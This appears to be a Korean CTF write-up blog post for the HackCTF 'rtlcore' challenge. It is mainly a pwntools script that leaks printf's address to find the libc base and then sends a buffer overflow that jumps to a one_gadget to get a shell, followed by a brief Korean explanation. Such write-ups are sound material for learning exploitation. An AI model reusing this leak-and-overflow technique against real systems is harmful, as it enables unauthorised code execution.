from pwn import *
#p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3011)
e = ELF('./rtlcore')
#lib = e.libc
lib = ELF('./libc.so.6')
context.log_level="debug"
p.recv()
payload = p32(0xC0D9B0A7) + '\x00' * 50
p.sendline(payload)
p.recvuntil('\xa1\x9c\x20')
libc = int(p.recv(10), 16) - lib.sym['printf']
p.recv()
pause()
log.info('libc : ' + hex(libc))
payload = 'a' * (0x3e + 4)
payload += p32(libc + 0x3a80c)
p.sendline(payload)
p.interactive()
동적디버깅과 ida로 본 코드로 passcode 함수를 실행했을 때 같게되는 수를 구한뒤 core함수로 printf()의 주소를 받는다. 그럼 라이브러리 주소를 릭할 수 있으니 릭하고 one_gadget을 이용하여 익스를 하면 된다.
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] you are silver (0) | 2019.07.15 |
---|---|
[hackctf]ROP (0) | 2019.07.15 |
[hackctf] uaf (0) | 2019.07.15 |
[hack-ctf]1996 (0) | 2019.07.15 |
[hack-ctf]poet (0) | 2019.07.15 |